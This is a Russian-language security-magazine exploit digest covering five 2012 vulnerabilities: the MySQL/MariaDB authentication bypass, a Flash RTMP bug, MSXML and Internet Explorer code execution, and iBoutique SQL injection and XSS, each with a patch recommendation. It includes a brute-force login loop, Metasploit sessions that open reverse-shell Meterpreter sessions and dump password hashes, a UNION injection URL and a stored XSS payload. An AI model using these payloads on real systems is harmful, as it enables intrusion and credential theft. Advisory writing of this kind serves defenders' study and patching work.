WARNING

Вся информация предоставлена исключительно в ознакомительных целях. Ни редакция, ни автор не несут ответственности за любой возможный вред, причиненный материалами данной статьи.

 

Обход аутентификации в MySQL/MariaDB

  • CVSSv2 7.5 (AV:N/AC:L/Au:N/C:P/I:P/A:P)

BRIEF

Одним летним субботним вечером разработчик и координатор безопасности MariaDB Сергей Голубчик опубликовал детали уязвимости под номером CVE-2012-2122 в популярной СУБД MySQL и ее ответвлении — MariaDB. Невиданная щедрость заключается в том, что при удачном стечении обстоятельств появляется возможность подключиться к базе данных под существующим пользователем (в том числе и root, который есть всегда) с любым паролем.

EXPLOIT

Вначале немного поведаю тебе о том, как происходит аутентификация в MariaDB/MySQL. Когда пользователь подключается к базе, вычисляется токен (SHA от пароля и случайной строки), далее этот токен сравнивается с имеющимся, вычисленным на этапе создания или изменения пароля. Если значения совпадают, то пользователь успешно подключается к базе. Решение это принимается на основании возвращаемого значения функции memcmp() примерно следующим образом:

typedef char my_bool;
...
my_bool check(...) {
  return memcmp(...);
}

Проблема здесь в том, что функция check() возвращает char, а memcmp() — int. Поэтому происходит преобразование int в char, стало быть, просто берется младший байт от int. И тогда может случиться так, что memcmp() возвратила не ноль, например, 0x100 — токены не совпадают, а char в итоге получается равен нулю. Пользователь проходит, как будто пароль оказался верный. Однако далеко не везде memcmp() может вернуть значение, в котором младший байт равен нулю, а старший — нет. Джошуа Дрейк из компании Accuvant Labs разработал небольшую утилиту (pastie.org/4064638), которая проверяет возвращаемые memcmp() значения и на основании этого делает вывод об уязвимости системы. Таким образом, возможность эксплуатации данного бага сильно зависит от конкретной ОС и сборки MySQL/MariaDB.

Код утилиты, проверяющей поведение функции memcmp()
Код утилиты, проверяющей поведение функции memcmp()

В уязвимой системе вероятность успешного входа со случайным паролем равна 1/256, а простейший способ самопроверки выглядит следующим образом:

$ for i in 'seq 1 1000'; do mysql -u root --password=bad -h 127.0.0.1 2>/dev/null; done

Если после запуска этой команды внезапно возникло приглашение консоли MySQL, то система в числе уязвимых.

Чуть позже Джонатан Кран из компании Pwnie Express разработал модуль для Metasploit, который автоматизирует обход аутентификации и дампит хеши паролей пользователей. Вот так выглядит пример работы этого модуля:

$ msfconsole
msf > use auxiliary/scanner/mysql/mysql_authbypass_hashdump
msf  auxiliary(mysql_authbypass_hashdump) > set USERNAME root
msf  auxiliary(mysql_authbypass_hashdump) > set RHOSTS 127.0.0.1
msf  auxiliary(mysql_authbypass_hashdump) > run

[+] 127.0.0.1:3306 The server allows logins, proceeding with bypass test
[*] 127.0.0.1:3306 Authentication bypass is 10% complete
[*] 127.0.0.1:3306 Authentication bypass is 20% complete
[*] 127.0.0.1:3306 Successfully bypassed authentication after 205 attempts
[+] 127.0.0.1:3306 Successful exploited the authentication bypass flaw, dumping hashes...
[+] 127.0.0.1:3306 Saving HashString as Loot: 
root:*C8998584D8AA12421F29BB41132A288CD6829A6D
[+] 127.0.0.1:3306 Saving HashString as Loot: 
root:*C8998584D8AA12421F29BB41132A288CD6829A6D
[+] 127.0.0.1:3306 Saving HashString as Loot: 
root:*C8998584D8AA12421F29BB41132A288CD6829A6D
[+] 127.0.0.1:3306 Saving HashString as Loot: 
root:*C8998584D8AA12421F29BB41132A288CD6829A6D
[+] 127.0.0.1:3306 Saving HashString as Loot: 
debian-sys-maint:*C59FFB311C358B4EFD4F0B82D9A03CBD77DC7C89
[*] 127.0.0.1:3306 Hash Table has been saved: 
20120611013537_default_127.0.0.1_mysql.hashes_889573.txt
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

TARGETS

Уязвимы все версии MariaDB и MySQL до 5.1.61, 5.2.11, 5.3.5, 5.5.22 на следующих системах:

  • Ubuntu Linux 64-bit (10.04, 10.10, 11.04, 11.10, 12.04),
  • openSUSE 12.1 64-bit,
  • Debian Unstable 64-bit,
  • Fedora 16,
  • Arch Linux.

SOLUTION

Установить последние патчи. Кроме того, важно не забывать о первом правиле безопасности MySQL — ограничить подключение к базе из сети. Для этого нужно открыть конфиг my.cnf и в секции [mysqld] изменить параметр bind-address на 127.0.0.1, тем самым разрешив только локальные подключения.

 

Выполнение произвольного кода в Adobe Flash Player

  • CVSSv2 10 (AV:N/AC:L/Au:N/C:С/I:С/A:С)

BRIEF

Уязвимость в Adobe Flash Player, связанная с подменой объекта, была обнаружена еще в мае этого года. Она позволяет выполнить произвольный код на целевой системе. Тогда она эксплуатировалась при помощи документа Word с внедренным в него Flash (SWF) объектом. Но детали эксплуатации стали известны лишь недавно.

EXPLOIT

Участники проекта Metasploit проанализировали зловред, эксплуатирующий данную уязвимость. О нем я и хочу немного рассказать. В ходе анализа было обнаружено использование техники SWF’s spray, которая позволяет атакующему контролировать определенные участки памяти приложения для последующего исполнения кода в них. В конечном итоге был сделан вывод, что уязвимость проявляется при обработке сообщений AMF (Action Message Format) сервера RTMP (Real Time Messaging Protocol). RTMP — это проприетарный протокол потоковой передачи данных, в основном используется для передачи потокового видео и аудиопотоков с веб-камер через интернет.

Но триггер (код, вызывающий срабатывание уязвимости) так и не удалось выявить из-за того, что зловредные RTMP-серверы были уже недоступны. Был поднят собственный Flash Media Server, и в процессе взаимодействия он возвращал ошибку в ответ на systemMemoryCall(), но эксплойт не срабатывал. К счастью, в руки исследователей угодил PCAP-файл, содержащий лог взаимодействия зараженной машины с RTMP-сервером. Были проанализированы различия ошибок, посланных в ответ на вызов systemMemoryCall(). Как и ожидалось, к аварийному завершению Abode Flash Player приводил специально сформированный ответ об ошибке:

(348.540): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=02dbac01 ebx=0013e2e4 ecx=02dbac10 edx=44444444
esi=02dbac11 edi=00000000
eip=104b1b2d esp=0013e2bc ebp=0013e2c8 iopl=0
nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000
efl=00050202
Flash32_11_2_202_228!DllUnregisterServer+0x300e84:
104b1b2d 8b422c  mov eax,dword ptr [edx+2Ch]
ds:0023:44444470=????????

0:000> u eip
Flash32_11_2_202_228!DllUnregisterServer+0x300e84:
104b1b2d 8b422c  mov eax,dword ptr [edx+2Ch]
104b1b30 53  pushebx
104b1b31 ffd0calleax

Итак, после проведения ритуала вуду в свет вышел модуль для Metasploit, позволяющий эксплуатировать данную уязвимость в Internet Explorer 6/7/8 на Windows XP SP3:

msf > use exploit/windows/browser/adobe_flash_rtmp
msf  exploit(adobe_flash_rtmp) > exploit
[*] Exploit running as background job.

[*] Started reverse handler on 192.168.1.157:4444
[*] Using URL: http://0.0.0.0:8080/Sgs7eu3zjBo0
[*] Local IP: http://192.168.1.157:8080/Sgs7eu3zjBo0
[*] Server started.
msf  exploit(adobe_flash_rtmp) >
[*] 192.168.1.158adobe_flash_rtmp - Client requesting: /Sgs7eu3zjBo0
[*] 192.168.1.158adobe_flash_rtmp - Using msvcrt ROP
[*] 192.168.1.158adobe_flash_rtmp - Sending html
[*] 192.168.1.158adobe_flash_rtmp - Client requesting: /Sgs7eu3zjBo0/BnKXAzRw.swf
[*] 192.168.1.158adobe_flash_rtmp - Sending Exploit SWF
[*] 192.168.1.158adobe_flash_rtmp - Connected to RTMP
[*] Sending stage (752128 bytes) to 192.168.1.158
[*] Meterpreter session 1 opened (192.168.1.157:4444 -> 192.168.1.158:1840) at 2012-06-22 11:11:16 +0200
[*] Session ID 1 (192.168.1.157:4444 -> 192.168.1.158:1840) processing InitialAutoRunScript 'migrate -f'
[*] Current server process: iexplore.exe (2284)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 3904
[+] Successfully migrated to process

Ошибка, возникающая в процессе взаимодействия с RTMP-сервером
Ошибка, возникающая в процессе взаимодействия с RTMP-сервером

TARGETS

Уязвимы Adobe Flash Player 11.2.202.233 и более ранние версии для Windows, Macintosh и Linux, а также Adobe Flash Player 11.1.115.7 и более ранние версии для Android 4.x и Adobe Flash Player 11.1.111.8 и более ранние для Android 3.x и 2.x.

SOLUTION

Обновить Adobe Flash Player до последней версии.

 

Выполнение произвольного кода в Microsoft XML Core Services

  • CVSSv2 10 (AV:N/AC:L/Au:N/C:С/I:С/A:С)

BRIEF

Уязвимость позволяет атакующему выполнить произвольный код на целевой системе, если пользователь зайдет на специально сформированную страницу через Internet Explorer или откроет зараженный документ в Microsoft Office. Ссылки на зараженные страницы могут распространяться в IM, по почте, в социальных сетях и твиттере. Уязвимость проявляется при попытке MSXML получить доступ к неинициализированному объекту в памяти, которая может привести к повреждению памяти и исполнению произвольного кода с привилегиями текущего пользователя.

EXPLOIT

Уязвимость проявляется в методе get_definition() при обращении к несуществующему XML Node. Код, приводящий к аварийному завершению Internet Explorer, выглядит следующим образом:

<object classid="clsid:6D90f11-9c73-11d3-b32e-00C04f990bb4" id="xx"></object>
<script>

document.getElementById("xx").object.definition(0);
</script>

Этот код обращается к неинициализированному объекту в памяти, но ссылка на этот регион памяти все же создается, что и приводит к потенциальной возможности выполнения произвольного кода в функции _dispatchImpl :: InvokeHelper().

Модуль для эксплуатации данной уязвимости весьма быстро стал доступен в составе Metasploit, пример его использования:

msf > use exploit/windows/browser/msxml_get_definition_code_exec
msf  exploit(msxml_get_definition_code_exec) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf  exploit(msxml_get_definition_code_exec) > set lhost 10.0.1.3
lhost => 10.0.1.3
msf  exploit(msxml_get_definition_code_exec) > exploit
[*] Exploit running as background job.

[*] Started reverse handler on 10.0.1.3:4444
[*] Using URL: http://0.0.0.0:8080/xtQdbEC7QDIb
msf  exploit(msxml_get_definition_code_exec) >
[*]  Local IP: http://10.0.1.3:8080/xtQdbEC7QDIb
[*] Server started.
[*] 10.0.1.79        msxml_get_definition_code_exec - Using msvcrt ROP
[*] 10.0.1.79        msxml_get_definition_code_exec - 10.0.1.79:1564 - Sending html
[*] Sending stage (752128 bytes) to 10.0.1.79
[*] Meterpreter session 2 opened (10.0.1.3:4444 -> 10.0.1.79:1565)
at 2012-06-18 14:07:38 -0500
[*] Session ID 2 (10.0.1.3:4444 -> 10.0.1.79:1565)
processing InitialAutoRunScript 'migrate -f'
[*] Current server process: iexplore.exe (2856)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 2356
[+] Successfully migrated to process

TARGETS

Модуль для Metasploit работает в IE6/7/8/9, Windows XP, Vista и вплоть до Windows 7 SP1.

SOLUTION

На момент написания обзора официального патча доступно не было. В качестве временного решения можно порекомендовать отключить компонент ActiveX MSXML или вовсе воздержаться от использования Internet Explorer и Microsoft Office.

Кроме того, Microsoft подготовила воркэраунд в виде пакета Microsoft Fix it 50897.

 

Выполнение произвольного кода в Internet Explorer

  • CVSSv2 10 (AV:N/AC:L/Au:N/C:С/I:С/A:С)

BRIEF

Microsoft Internet Explorer неправильно обрабатывает некоторые объекты в памяти, что дает возможность атакующему выполнить произвольный код в системе при попытке доступа к несуществующему объекту. Полное название уязвимости в англоязычных источниках — «Same ID Property Remote Code Execution Vulnerability». Уязвимость обнаружили адепт под ником Dark Son и исследователь Йичонг Линь (Yichong Lin). Модуль к Metasploit реализовал Juan Vazquez. Уязвимости присвоен идентификатор CVE-2012-1875.

EXPLOIT

Эксплойт использует технику возвратно-ориентированного программирования (ROP) для обхода защит DEP и ASLR. Для правильной работы эксплойта необходимо наличие старой виртуальной машины Java, которая использует библиотеку msvcr71.dll без поддержки ASLR, иначе эксплойт не будет работать, а Internet Explorer продемонстрирует обычное аварийное завершение.

Техника ROP, использующаяся в эксплойте для уязвимости CVE-2012-1875
Техника ROP, использующаяся в эксплойте для уязвимости CVE-2012-1875

И снова пример действующего эксплойта можно отыскать в составе всеми любимого проекта Metasploit. Привожу пример его использования (исключительно в целях ознакомления):

msf > use exploit/windows/browser/ms12_037_same_id
msf  exploit(ms12_037_same_id) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf  exploit(ms12_037_same_id) > set lhost 10.0.1.3
lhost => 10.0.1.3
msf  exploit(ms12_037_same_id) > exploit
[*] Exploit running as background job.

[*] Started reverse handler on 10.0.1.3:4444
[*] Using URL: http://0.0.0.0:8080/gTHJEKBboMi

[*]  Local IP: http://10.0.1.3:8080/gTHJEKBboMi
[*] Server started.
msf  exploit(ms12_037_same_id) >
[*] 10.0.1.79ms12_037_same_id - Client requesting: /gTHJEKBboMi
[*] 10.0.1.79ms12_037_same_id - Using msvcrt ROP
[*] 10.0.1.79ms12_037_same_id - Sending html
[*] Sending stage (752128 bytes) to 10.0.1.79
[*] Meterpreter session 1 opened (10.0.1.3:4444 -> 10.0.1.79:1685) at 2012-06-18 13:42:49 -0500
[*] Session ID 1 (10.0.1.3:4444 -> 10.0.1.79:1685) processing InitialAutoRunScript 'migrate -f'
[*] Current server process: iexplore.exe (3916)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 1680
[+] Successfully migrated to process

TARGETS

Модуль в Metasploit работает в Internet Explorer 8 под Windows XP SP3 и 7 SP1, тогда как эксплойты, найденные «in the wild», пробивают большинство современных платформ Windows, включая Windows Vista и Windows 7.

SOLUTION

Установить последние обновления Microsoft.

Код утилиты, проверяющей поведение функции memcmp()Полный трейс всех стековых фреймов в упавшем IE
Код утилиты, проверяющей поведение функции memcmp()Полный трейс всех стековых фреймов в упавшем IE
 

Множественные уязвимости в iBoutique eCommerce v4.0

  • CVSSv2 7.5 (AV:N/AC:L/Au:N/C:P/I:P/A:P)

BRIEF

Девятого июня команда Vulnerability Laboratory Research опубликовала детали уязвимостей, найденных в движке для интернет-магазинов iBoutique CMS v4.0.

EXPLOIT

  1. В движке iBoutique v4.0 была обнаружена SQL-инъекция, позволяющая атакующему выполнять произвольные SQL-запросы к базе данных. Успешная эксплуатация уязвимости влечет за собой компрометацию данных приложения и базы данных. Уязвимость проявляется при обработке параметра OrderNumber скрипта index.php, при этом нам даже покажут сообщение об ошибке:
    SQL_ERROR
    
    select * from websiteadmin_orders WHERE OrderNumber=254` AND UserName=`hack`
    You have an error in your SQL syntax;
    check the manual that corresponds to your MySQL server version for the right syntax to use near `AND UserName=`hack` at line 1
    Details for order #254`
    

    Пример эксплуатации уязвимости приведен ниже:

    http://127.0.0.1:1338/iboutique/index.php?page=en_Orders&OrderNumber=258'+/*!Union*/+/*!SelEct*/+1,2,3,4,version(),6,7,8,9,10--%20-
    
  2. Также была обнаружена недостаточная фильтрация данных пользователя, позволяющая атакующему внедрить на страницу своего профиля произвольный код. Для этого нужно зарегистрироваться на сайте, а затем пройти my area > my profile > edit profile и изменить значение одного из полей (first name, last name, email, state, address и так далее) на произвольный HTML-код, например <iframe src=www.vuln-lab.com onload=alert("VL")/>. Когда админ будет просматривать страницу с пользователями или платежами в административной панели, то внедренный код исполнится в контексте администратора.

TARGETS

iBoutique eCommerce v4.0 и, возможно, более ранние.

SOLUTION

Обновить движок до последней актуальной версии.

 

  • Подпишись на наc в Telegram!

    Только важные новости и лучшие статьи

    Подписаться

  • Подписаться
    Уведомить о
    0 комментариев
    Межтекстовые Отзывы
    Посмотреть все комментарии